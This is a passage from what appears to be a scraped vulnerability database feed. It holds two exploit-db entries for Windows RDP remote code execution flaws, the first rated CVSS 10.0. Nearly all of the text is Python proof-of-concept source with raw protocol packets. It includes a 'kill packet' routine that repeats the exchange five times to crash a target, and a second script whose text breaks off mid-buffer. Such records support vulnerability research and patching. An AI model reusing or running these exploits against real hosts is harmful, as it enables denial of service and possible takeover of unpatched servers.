size5[1]\r\n\ttls.sendall(bytes(ba))\r\n\ttls.recv(8192)\r\n\r\ndef send_client_info(tls):\r\n\tp = b\"\\x03\\x00\\x01\\x61\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x81\\x52\\x40\\x00\\xa1\\xa5\\x09\\x04\\x09\\x04\\xbb\\x47\\x03\\x00\\x00\\x00\\x0e\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x41\\x00\\x00\\x00\\x74\\x00\\x65\\x00\\x73\\x00\\x74\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x1c\\x00\\x31\\x00\\x39\\x00\\x32\\x00\\x2e\\x00\\x41\\x41\\x41\\x00\\x38\\x00\\x2e\\x00\\x32\\x00\\x33\\x00\\x32\\x00\\x2e\\x00\\x31\\x00\\x00\\x00\\x40\\x00\\x43\\x00\\x3a\\x00\\x5c\\x00\\x57\\x00\\x49\\x00\\x4e\\x00\\x41\\x41\\x41\\x00\\x57\\x00\\x53\\x00\\x5c\\x00\\x73\\x00\\x79\\x00\\x73\\x00\\x74\\x00\\x65\\x00\\x6d\\x00\\x33\\x00\\x32\\x00\\x5c\\x00\\x6d\\x00\\x73\\x00\\x74\\x00\\x73\\x00\\x63\\x00\\x61\\x00\\x78\\x00\\x2e\\x00\\x64\\x00\\x6c\\x00\\x6c\\x00\\x00\\x00\\xa4\\x01\\x00\\x00\\x4d\\x00\\x6f\\x00\\x75\\x00\\x6e\\x00\\x74\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\\x20\\x00\\x53\\x00\\x74\\x00\\x61\\x00\\x6e\\x00\\x64\\x00\\x61\\x00\\x72\\x00\\x64\\x00\\x20\\x00\\x54\\x00\\x69\\x00\\x6d\\x00\\x65\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0b\\x00\\x00\\x00\\x01\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x4d\\x00\\x6f\\x00\\x75\\x00\\x6e\\x00\\x74\\x00\\x61\\x00\\x69\\x00\\x6e\\x00\\x20\\x00\\x44\\x00\\x61\\x00\\x79\\x00\\x6c\\x00\\x69\\x00\\x67\\x00\\x68\\x00\\x74\\x00\\x20\\x00\\x54\\x00\\x69\\x00\\x6d\\x00\\x65\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xc4\\xff\\xff\\xff\\x01\\x00\\x00\\x00\\x06\\x00\\x00\\x00\\x00\\x00\\x64\\x00\\x00\\x00\"\r\n\ttls.sendall(p)\r\n\r\ndef send_channel_packets(tls):\r\n\tp1 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x04\\x01\\x00\\x01\\x00\"\r\n\ttls.sendall(p1)\r\n\tp2 = b\"\\x03\\x00\\x00\\x08\\x02\\xf0\\x80\\x28\"\r\n\ttls.sendall(p2)\r\n\ttls.recv(1024)\r\n\tp4 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xeb\"\r\n\ttls.sendall(p4)\r\n\ttls.recv(1024)\r\n\tp5 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xec\"\r\n\ttls.sendall(p5)\r\n\ttls.recv(1024)\r\n\tp6 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xed\"\r\n\ttls.sendall(p6)\r\n\ttls.recv(1024)\r\n\tp7 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xee\"\r\n\ttls.sendall(p7)\r\n\ttls.recv(1024)\r\n\tp8 = b\"\\x03\\x00\\x00\\x0c\\x02\\xf0\\x80\\x38\\x00\\x07\\x03\\xef\"\r\n\ttls.sendall(p8)\r\n\ttls.recv(1024)\r\n\r\ndef send_confirm_active(tls, shareid):\r\n\tp = \"\\x03\\x00\\x02\\x63\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x82\\x54\\x54\\x02\\x13\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\xea\\x03\\x06\\x00\\x3e\\x02\\x4d\\x53\\x54\\x53\\x43\\x00\\x17\\x00\\x00\\x00\\x01\\x00\\x18\\x00\\x01\\x00\\x03\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x1d\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x1c\\x00\\x20\\x00\\x01\\x00\\x01\\x00\\x01\\x00\\x80\\x07\\x38\\x04\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x1a\\x01\\x00\\x00\\x00\\x03\\x00\\x58\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\xaa\\x00\\x01\\x01\\x01\\x01\\x01\\x00\\x00\\x01\\x01\\x01\\x00\\x01\\x00\\x00\\x00\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x01\\x00\\x01\\x01\\x01\\x00\\x00\\x00\\x00\\x00\\xa1\\x06\\x06\\x00\\x00\\x00\\x00\\x00\\x00\\x84\\x03\\x00\\x00\\x00\\x00\\x00\\xe4\\x04\\x00\\x00\\x13\\x00\\x28\\x00\\x03\\x00\\x00\\x03\\x78\\x00\\x00\\x00\\x78\\x00\\x00\\x00\\xfc\\x09\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0a\\x00\\x08\\x00\\x06\\x00\\x00\\x00\\x07\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x05\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x02\\x00\\x08\\x00\\x0a\\x00\\x01\\x00\\x14\\x00\\x15\\x00\\x09\\x00\\x08\\x00\\x00\\x00\\x00\\x00\\x0d\\x00\\x58\\x00\\x91\\x00\\x20\\x00\\x09\\x04\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x0e\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x10\\x00\\x34\\x00\\xfe\\x00\\x04\\x00\\xfe\\x00\\x04\\x00\\xfe\\x00\\x08\\x00\\xfe\\x00\\x08\\x00\\xfe\\x00\\x10\\x00\\xfe\\x00\\x20\\x00\\xfe\\x00\\x40\\x00\\xfe\\x00\\x80\\x00\\xfe\\x00\\x00\\x01\\x40\\x00\\x00\\x08\\x00\\x01\\x00\\x01\\x03\\x00\\x00\\x00\\x0f\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x11\\x00\\x0c\\x00\\x01\\x00\\x00\\x00\\x00\\x28\\x64\\x00\\x14\\x00\\x0c\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x0c\\x00\\x02\\x00\\x00\\x00\\x00\\x0a\\x00\\x01\\x1a\\x00\\x08\\x00\\xaf\\x94\\x00\\x00\\x1c\\x00\\x0c\\x00\\x12\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x1b\\x00\\x06\\x00\\x01\\x00\\x1e\\x00\\x08\\x00\\x01\\x00\\x00\\x00\\x18\\x00\\x0b\\x00\\x02\\x00\\x00\\x00\\x03\\x0c\\x00\\x1d\\x00\\x5f\\x00\\x02\\xb9\\x1b\\x8d\\xca\\x0f\\x00\\x4f\\x15\\x58\\x9f\\xae\\x2d\\x1a\\x87\\xe2\\xd6\\x01\\x03\\x00\\x01\\x01\\x03\\xd4\\xcc\\x44\\x27\\x8a\\x9d\\x74\\x4e\\x80\\x3c\\x0e\\xcb\\xee\\xa1\\x9c\\x54\\x05\\x31\\x00\\x31\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x25\\x00\\x00\\x00\\xc0\\xcb\\x08\\x00\\x00\\x00\\x01\\x00\\xc1\\xcb\\x1d\\x00\\x00\\x00\\x01\\xc0\\xcf\\x02\\x00\\x08\\x00\\x00\\x01\\x40\\x00\\x02\\x01\\x01\\x01\\x00\\x01\\x40\\x00\\x02\\x01\\x01\\x04\"\r\n\tba = bytearray()\r\n\tba.extend(map(ord, p))\r\n\ttls.sendall(bytes(ba))\r\n\r\ndef send_establish_session(tls):\r\n\tp = b\"\\x03\\x00\\x00\\x24\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x16\\x16\\x00\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x08\\x00\\x1f\\x00\\x00\\x00\\x01\\x00\\xea\\x03\"\r\n\ttls.sendall(p)\r\n\tp = b\"\\x03\\x00\\x00\\x28\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x1a\\x1a\\x00\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x0c\\x00\\x14\\x00\\x00\\x00\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\ttls.sendall(p)\r\n\tp = b\"\\x03\\x00\\x00\\x28\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x1a\\x1a\\x00\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x0c\\x00\\x14\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\ttls.sendall(p)\r\n\tp = b\"\\x03\\x00\\x05\\x81\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x85\\x72\\x72\\x05\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x00\\x00\\x2b\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\xa3\\xce\\x20\\x35\\xdb\\x94\\xa5\\xe6\\x0d\\xa3\\x8c\\xfb\\x64\\xb7\\x63\\xca\\xe7\\x9a\\x84\\xc1\\x0d\\x67\\xb7\\x91\\x76\\x71\\x21\\xf9\\x67\\x96\\xc0\\xa2\\x77\\x5a\\xd8\\xb2\\x74\\x4f\\x30\\x35\\x2b\\xe7\\xb0\\xd2\\xfd\\x81\\x90\\x1a\\x8f\\xd5\\x5e\\xee\\x5a\\x6d\\xcb\\xea\\x2f\\xa5\\x2b\\x06\\xe9\\x0b\\x0b\\xa6\\xad\\x01\\x2f\\x7a\\x0b\\x7c\\xff\\x89\\xd3\\xa3\\xe1\\xf8\\x00\\x96\\xa6\\x8d\\x9a\\x42\\xfc\\xab\\x14\\x05\\x8f\\x16\\xde\\xc8\\x05\\xba\\xa0\\xa8\\xed\\x30\\xd8\\x67\\x82\\xd7\\x9f\\x84\\xc3\\x38\\x27\\xda\\x61\\xe3\\xa8\\xc3\\x65\\xe6\\xec\\x0c\\xf6\\x36\\x24\\xb2\\x0b\\xa6\\x17\\x1f\\x46\\x30\\x16\\xc7\\x73\\x60\\x14\\xb5\\xf1\\x3a\\x3c\\x95\\x7d\\x7d\\x2f\\x74\\x7e\\x56\\xff\\x9c\\xe0\\x01\\x32\\x9d\\xf2\\xd9\\x35\\x5e\\x95\\x78\\x2f\\xd5\\x15\\x6c\\x18\\x34\\x0f\\x43\\xd7\\x2b\\x97\\xa9\\xb4\\x28\\xf4\\x73\\x6c\\x16\\xdb\\x43\\xd7\\xe5\\x58\\x0c\\x5a\\x03\\xe3\\x73\\x58\\xd7\\xd9\\x76\\xc2\\xfe\\x0b\\xd7\\xf4\\x12\\x43\\x1b\\x70\\x6d\\x74\\xc2\\x3d\\xf1\\x26\\x60\\x58\\x80\\x31\\x07\\x0e\\x85\\xa3\\x95\\xf8\\x93\\x76\\x99\\x9f\\xec\\xa0\\xd4\\x95\\x5b\\x05\\xfa\\x4f\\xdf\\x77\\x8a\\x7c\\x29\\x9f\\x0b\\x4f\\xa1\\xcb\\xfa\\x95\\x66\\xba\\x47\\xe3\\xb0\\x44\\xdf\\x83\\x03\\x44\\x24\\xf4\\x1e\\xf2\\xe5\\xcb\\xa9\\x53\\x04\\xc2\\x76\\xcb\\x4d\\xc6\\xc2\\xd4\\x3f\\xd3\\x8c\\xb3\\x7c\\xf3\\xaa\\xf3\\x93\\xfe\\x25\\xbd\\x32\\x7d\\x48\\x6e\\x93\\x96\\x68\\xe5\\x18\\x2b\\xea\\x84\\x25\\x69\\x02\\xa5\\x38\\x65\\x6f\\x0f\\x9f\\xf6\\xa1\\x3a\\x1d\\x22\\x9d\\x3f\\x6d\\xe0\\x4c\\xee\\x8b\\x24\\xf0\\xdc\\xff\\x70\\x52\\xa7\\x0d\\xf9\\x52\\x8a\\x1e\\x33\\x1a\\x30\\x11\\x15\\xd7\\xf8\\x95\\xa9\\xbb\\x74\\x25\\x8c\\xe3\\xe9\\x93\\x07\\x43\\xf5\\x50\\x60\\xf7\\x96\\x2e\\xd3\\xff\\x63\\xe0\\xe3\\x24\\xf1\\x10\\x3d\\x8e\\x0f\\x56\\xbc\\x2e\\xb8\\x90\\x0c\\xfa\\x4b\\x96\\x68\\xfe\\x59\\x68\\x21\\xd0\\xff\\x52\\xfe\\x5c\\x7d\\x90\\xd4\\x39\\xbe\\x47\\x9d\\x8e\\x7a\\xaf\\x95\\x4f\\x10\\xea\\x7b\\x7a\\xd3\\xca\\x07\\x28\\x3e\\x4e\\x4b\\x81\\x0e\\xf1\\x5f\\x1f\\x8d\\xbe\\x06\\x40\\x27\\x2f\\x4a\\x03\\x80\\x32\\x67\\x54\\x2f\\x93\\xfd\\x25\\x5d\\x6d\\xa0\\xad\\x23\\x45\\x72\\xff\\xd1\\xeb\\x5b\\x51\\x75\\xa7\\x61\\xe0\\x3f\\xe4\\xef\\xf4\\x96\\xcd\\xa5\\x13\\x8a\\xe6\\x52\\x74\\x70\\xbf\\xc1\\xf9\\xfb\\x68\\x9e\\xdd\\x72\\x8f\\xb4\\x44\\x5f\\x3a\\xcb\\x75\\x2a\\x20\\xa6\\x69\\xd2\\x76\\xf9\\x57\\x46\\x2b\\x5b\\xda\\xba\\x0f\\x9b\\xe0\\x60\\xe1\\x8b\\x90\\x33\\x41\\x0a\\x2d\\xc5\\x06\\xfe\\xd0\\xf0\\xfc\\xde\\x35\\xd4\\x1e\\xaa\\x76\\x0b\\xae\\xf4\\xd5\\xbd\\xfa\\xf3\\x55\\xf5\\xc1\\x67\\x65\\x75\\x1c\\x1d\\x5e\\xe8\\x3a\\xfe\\x54\\x50\\x23\\x04\\xae\\x2e\\x71\\xc2\\x76\\x97\\xe6\\x39\\xc6\\xb2\\x25\\x87\\x92\\x63\\x52\\x61\\xd1\\x6c\\x07\\xc1\\x1c\\x00\\x30\\x0d\\xa7\\x2f\\x55\\xa3\\x4f\\x23\\xb2\\x39\\xc7\\x04\\x6c\\x97\\x15\\x7a\\xd7\\x24\\x33\\x91\\x28\\x06\\xa6\\xe7\\xc3\\x79\\x5c\\xae\\x7f\\x50\\x54\\xc2\\x38\\x1e\\x90\\x23\\x1d\\xd0\\xff\\x5a\\x56\\xd6\\x12\\x91\\xd2\\x96\\xde\\xcc\\x62\\xc8\\xee\\x9a\\x44\\x07\\xc1\\xec\\xf7\\xb6\\xd9\\x9c\\xfe\\x30\\x1c\\xdd\\xb3\\x3b\\x93\\x65\\x3c\\xb4\\x80\\xfb\\xe3\\x87\\xf0\\xee\\x42\\xd8\\xcf\\x08\\x98\\x4d\\xe7\\x6b\\x99\\x0a\\x43\\xed\\x13\\x72\\x90\\xa9\\x67\\xfd\\x3c\\x63\\x36\\xec\\x55\\xfa\\xf6\\x1f\\x35\\xe7\\x28\\xf3\\x87\\xa6\\xce\\x2e\\x34\\xaa\\x0d\\xb2\\xfe\\x17\\x18\\xa2\\x0c\\x4e\\x5f\\xf0\\xd1\\x98\\x62\\x4a\\x2e\\x0e\\xb0\\x8d\\xb1\\x7f\\x32\\x52\\x8e\\x87\\xc9\\x68\\x7c\\x0c\\xef\\xee\\x88\\xae\\x74\\x2a\\x33\\xff\\x4b\\x4d\\xc5\\xe5\\x18\\x38\\x74\\xc7\\x28\\x83\\xf7\\x72\\x87\\xfc\\x79\\xfb\\x3e\\xce\\xd0\\x51\\x13\\x2d\\x7c\\xb4\\x58\\xa2\\xe6\\x28\\x67\\x4f\\xec\\xa6\\x81\\x6c\\xf7\\x9a\\x29\\xa6\\x3b\\xca\\xec\\xb8\\xa1\\x27\\x50\\xb7\\xef\\xfc\\x81\\xbf\\x5d\\x86\\x20\\x94\\xc0\\x1a\\x0c\\x41\\x50\\xa9\\x5e\\x10\\x4a\\x82\\xf1\\x74\\x1f\\x78\\x21\\xf5\\x70\\x61\\x24\\x00\\x3d\\x47\\x5f\\xf3\\x25\\x80\\x3c\\x4b\\xea\\xa3\\xf4\\x77\\xea\\xa1\\x42\\x1a\\x17\\x0f\\x6d\\xa8\\x35\\x9e\\x91\\x26\\x34\\x43\\x04\\xc6\\xc6\\x5b\\x21\\x7d\\x8c\\xc7\\x22\\x91\\x7b\\x2c\\x2d\\x2f\\xd6\\x7e\\xa5\\x52\\xa8\\x08\\x80\\xeb\\x60\\xd1\\x44\\x09\\x8e\\x3c\\xa1\\xaa\\x67\\x60\\x0a\\x26\\xc6\\xb5\\xc6\\x79\\xa6\\x4f\\x8b\\x8c\\x25\\x5c\\xf1\\x0b\\x23\\xf4\\xd8\\xa6\\x6d\\xf1\\x91\\x78\\xf9\\xe5\\x2a\\x50\\x2f\\x5a\\x44\\x22\\xd9\\x19\\x5c\\xaf\\xd6\\xac\\x97\\xa2\\xf8\\x0d\\x0c\\xe3\\xdd\\x88\\x48\\x98\\x28\\x0b\\x8b\\xbd\\x76\\xdc\\xde\\xca\\xe2\\xc2\\x4a\\x87\\x50\\xd4\\x8c\\x77\\x5a\\xd8\\xb2\\x74\\x4f\\x30\\x35\\xbf\\x28\\xae\\xd9\\xa2\\x98\\xa5\\xbc\\x60\\xca\\xb8\\x90\\x4d\\x20\\x46\\xd9\\x8a\\x1a\\x30\\x01\\x8b\\x38\\x63\\x1a\\x57\\x09\\x51\\x46\\x95\\x9b\\xd8\\x80\\x0c\\xb0\\x77\\x24\\xbf\\x2b\\xd3\\x57\\x22\\xd9\\x19\\x5c\\xaf\\xd6\\xac\\x97\\xa2\\xf8\\x0d\\x0c\\xe3\\xdd\\x88\\x48\\x98\\x28\\x0b\\x8b\\xbd\\x76\\xdc\\xde\\xca\\xe2\\xc2\\x4a\\x87\\x50\\xd4\\x8c\\x56\\x92\\x38\\xed\\x6b\\x9b\\x5b\\x1f\\xba\\x53\\xa1\\x0e\\xf7\\x75\\x10\\x53\\x22\\x4c\\x0a\\x75\\x88\\x54\\x69\\x3f\\x3b\\xf3\\x18\\x67\\x6b\\x0f\\x19\\xd1\\x00\\x25\\x86\\xcd\\xa8\\xd9\\xdd\\x1d\\x8d\\x26\\x87\\x54\\xd9\\x79\\xc0\\x74\\x65\\x90\\xd7\\x33\\x32\\xaf\\xba\\x9d\\x5a\\xd5\\x6c\\x7c\\xa1\\x47\\xe1\\x49\\x6e\\x1c\\xce\\x9f\\x62\\xaa\\x26\\x16\\x3f\\x3c\\xec\\x5b\\x49\\xe5\\xc0\\x60\\xd4\\xbe\\xa7\\x88\\xbc\\xa1\\x9f\\x29\\x71\\x8c\\xeb\\x69\\xf8\\x73\\xfb\\xaf\\x29\\xaa\\x40\\x1b\\xe5\\x92\\xd2\\x77\\xa7\\x2b\\xfb\\xb6\\x77\\xb7\\x31\\xfb\\xdc\\x1e\\x63\\x63\\x7d\\xf2\\xfe\\x3c\\x6a\\xba\\x0b\\x20\\xcb\\x9d\\x64\\xb8\\x31\\x14\\xe2\\x70\\x07\\x2c\\xdf\\x9c\\x6f\\xb5\\x3a\\xc4\\xd5\\xb5\\xc9\\x3e\\x9a\\xd7\\xd5\\x30\\xdc\\x0e\\x19\\x89\\xc6\\x08\\x88\\xe1\\xca\\x81\\xa6\\x28\\xdd\\x9c\\x74\\x05\\x11\\xe7\\xe1\\xcc\\xbc\\xc7\\x76\\xdd\\x55\\xe2\\xcc\\xc2\\xcb\\xd3\\xb6\\x48\\x01\\xdd\\xff\\xba\\xca\\x31\\xab\\x26\\x44\\x1c\\xdc\\x06\\x01\\xdf\\xf2\\x90\\x50\\xb8\\x6b\\x8f\\xe8\\x29\\xf0\\xba\\xec\\xfb\\x2d\\xfd\\x7a\\xfc\\x7f\\x57\\xbd\\xea\\x90\\xf7\\xcf\\x92\\x1e\\xc4\\x20\\xd0\\xb6\\x9f\\xd6\\xdc\\xa1\\x82\\xa9\\x6c\\x5e\\x3e\\x83\\x41\\x57\\x73\\xe9\\xe7\\x5a\\x3f\\xda\\x24\\x4f\\x73\\x5e\\xf4\\xe0\\x92\\x24\\xbd\\x0b\\xd0\\x3c\\x49\\x96\\xb5\\xb5\\x05\\x32\\xcb\\x58\\x1d\\x6f\\x97\\x51\\xee\\x0c\\xdc\\x0b\\x2a\\x60\\xef\\x97\\x3e\\x5a\\x30\\x81\\x15\\x91\\xcf\\x11\\x07\\x25\\x2c\\x41\\xdb\\x70\\x72\\xe1\\x75\\xf6\\xa5\\xff\\xe8\\x44\\xe7\\x03\\xe3\\x61\\xaa\\xdb\\xe0\\x07\\x3d\\x07\\x0b\\xe3\\x5c\\x09\\xa9\\x5e\\x10\\xfd\\xcf\\x74\\x9e\\x23\\xf1\\x30\\x86\\x16\\xef\\x25\\x4e\\xfe\\xa4\\x93\\xa5\\x80\\x0a\\x01\\x39\\xcc\\x11\\x7a\\x6e\\x94\\x22\\x5b\\xd8\\xc6\\xc9\\xa8\\xdf\\x13\\x96\\xb3\\x91\\x33\\x6e\\x87\\xbb\\x94\\x63\\x2d\\x88\\x64\\xa7\\x58\\x89\\xda\\xdc\\x7f\\x2a\\xe3\\xa1\\x66\\xe5\\xc8\\x7f\\xc2\\xdb\\xc7\\x7d\\x2f\\xa9\\x46\\x28\\x45\\x69\\xbc\\xac\\x9f\\x85\\x9e\\xb0\\x9f\\x9a\\x49\\xb4\\xb1\\xcb\"\r\n\ttls.sendall(p)\r\n\tp = b\"\\x03\\x00\\x00\\x28\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xeb\\x70\\x1a\\x1a\\x00\\x17\\x00\\xf0\\x03\\xea\\x03\\x01\\x00\\x00\\x01\\x00\\x00\\x27\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x03\\x00\\x32\\x00\"\r\n\ttls.sendall(p)\r\n\r\ndef send_kill_packet(tls, arch):\r\n\tif arch == \"32\":\r\n\t\tp = b\"\\x03\\x00\\x00\\x2e\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xef\\x70\\x14\\x0c\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\telif arch == \"64\":\r\n\t\tp = b\"\\x03\\x00\\x00\\x2e\\x02\\xf0\\x80\\x64\\x00\\x07\\x03\\xef\\x70\\x14\\x0c\\x00\\x00\\x00\\x03\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x02\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\r\n\telse:\r\n\t\tprint(\"Make the second arguement '32' or '64' without quotes\")\r\n\t\tsys.exit()\r\n\ttls.sendall(p)\r\n\r\ndef terminate_connection(tls):\r\n\tp = b\"\\x03\\x00\\x00\\x09\\x02\\xf0\\x80\\x21\\x80\"\r\n\ttls.sendall(p)\r\n\r\ndef main(args):\r\n\ttls = send_init_packets(args[1])\r\n\r\n\tsend_client_data(tls)\r\n\tprint(\"[+] ClientData Packet Sent\")\r\n\r\n\tsend_channel_packets(tls)\r\n\tprint(\"[+] ChannelJoin/ErectDomain/AttachUser Sent\")\r\n\r\n\tsend_client_info(tls)\r\n\tprint(\"[+] ClientInfo Packet Sent\")\r\n\r\n\ttls.recv(8192)\r\n\ttls.recv(8192)\r\n\r\n\tsend_confirm_active(tls, None)\r\n\tprint(\"[+] ConfirmActive Packet Sent\")\r\n\r\n\tsend_establish_session(tls)\r\n\tprint(\"[+] Session Established\")\r\n\r\n\tsend_kill_packet(tls, args[2])\r\n\tterminate_connection(tls)\r\n\tprint(\"[+] Vuln Should Trigger\")\r\n\r\nif __name__ == '__main__':\r\n\tif len(sys.argv) != 3:\r\n\t\tprint(\"Usage: python poc.py 127.0.0.1 64\")\r\n\t\tsys.exit()\r\n\r\n\telif sys.argv[2] == '32' or '64':\r\n\t\t# I've had to send the packets 5 times for hosts that havent\r\n\t\t# had a terminal session since their last reboot. I think\r\n\t\t# I know why but atm its just easier to send the exchange\r\n\t\t# 5 times and it'll crash eventually. Most of the time its\r\n\t\t# the first time though.\r\n\t\tfor _ in range(5):\r\n\t\t\tmain(sys.argv)\r\n\r\n\telse:\r\n\t\tprint(\"Usage: python poc.py 127.0.0.1 64\")\r\n\t\tsys.exit()",
        "cvss": {
            "score": 10.0,
            "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"
        },
        "sourceHref": "https://www.exploit-db.com/download/46946",
        "vhref": "https://vulners.com/exploitdb/EDB-ID:46946"
    },
    {
        "lastseen": "2019-05-22T12:22:09",
        "bulletinFamily": "exploit",
        "description": "",
        "modified": "2019-05-22T00:00:00",
        "published": "2019-05-22T00:00:00",
        "id": "EDB-ID:46904",
        "href": "https://www.exploit-db.com/exploits/46904",
        "type": "exploitdb",
        "title": "Microsoft Windows 7/2003/2008 RDP - Remote Code Execution",
        "sourceData": "#RDP Blue POC by k8gege\r\n#Local:  Win7  (python)\r\n#Target: Win2003 & Win2008 (open 3389)\r\n\r\nimport socket\r\nimport sys\r\nimport os\r\nimport platform\r\n\r\nbuf=\"\"\r\nbuf+=\"\\x03\\x00\\x00\\x13\" # TPKT, Version 3, lenght 19\r\nbuf+=\"\\x0e\\xe0\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x08\\x00\\x00\\x00\\x00\\x00\" # ITU-T Rec X.224\r\nbuf+=\"\\x03\\x00\\x01\\xd6\" # TPKT, Version 3, lenght 470\r\nbuf+=\"\\x02\\xf0\\x80\" # ITU-T Rec X.224\r\nbuf+=\"\\x7f\\x65\\x82\\x01\\x94\\x04\" #SERVICE T.125\r\n\r\nbuf+=\"\\x01\\x01\\x04\\x01\\x01\\x01\\x01\\xff\" \r\nbuf+=\"\\x30\\x19\\x02\\x04\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x02\\x04\\x00\\x00\\x00\\x02\\x02\\x04\"\r\nbuf+=\"\\x00\\x00\\x00\\x00\\x02\\x04\\x00\\x00\"#COMMUNICATION\r\nbuf+=\"\\x00\\x01\\x02\\x04\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x02\\x04\\x00\\x00\\x00\\x01\\x02\\x02\"\r\nbuf+=\"\\xff\\xff\\x02\\x04\\x00\\x00\\x00\\x02\"\r\nbuf+=\"\\x30\\x19\\x02\\x04\\x00\\x00\\x00\\x01\"# TPKT, Version 5, Lenght 12\r\nbuf+=\"\\x02\\x04\\x00\\x00\\x00\\x01\\x02\\x04\"\r\nbuf+=\"\\x00\\x00\\x00\\x01\\x02\\x04\\x00\\x00\"\r\nbuf+=\"\\x00\\x01\\x02\\x04\\x00\\x00\\x00\\x00\"\r\nbuf+=\"\\x02\\x04\\x00\\x00\\x00\\x01\\x02\\x02\"\r\nbuf+=\"\\x04\\x20\\x02\\x04\\x00\\x00\\x00\\x02\"#MULTIPOINT\r\nbuf+=\"\\x30\\x1c\\x02\\x02\\xff\\xff\\x02\\x02\"\r\nbuf+=\"\\xfc\\x17\\x02\\x02\\xff\\xff\\x02\\x04\"\r\nbuf+=\"\\x00\\x00\\x00\\x01\\x02\\x04\\x00\\x00\"\r\nbuf+=\"\\x00\\x00\\x02\\x04\\x00\\x00\\x00\\x01\"\r\nbuf+=\"\\x02\\x02\\xff\\xff\\x02\\x04\\x00\\x00\"\r\nbuf+=\"\\x00\\x02\\x04\\x82\\x01\\x33\\x00\\x05\"\r\nbuf+=\"\\x00\\x14\\x7c\\x00\\x01\\x81\\x2a\\x00\"#message\r\nbuf+=\"\\x08\\x00\\x10\\x00\\x01\\xc0\\x00\\x44\"\r\nbu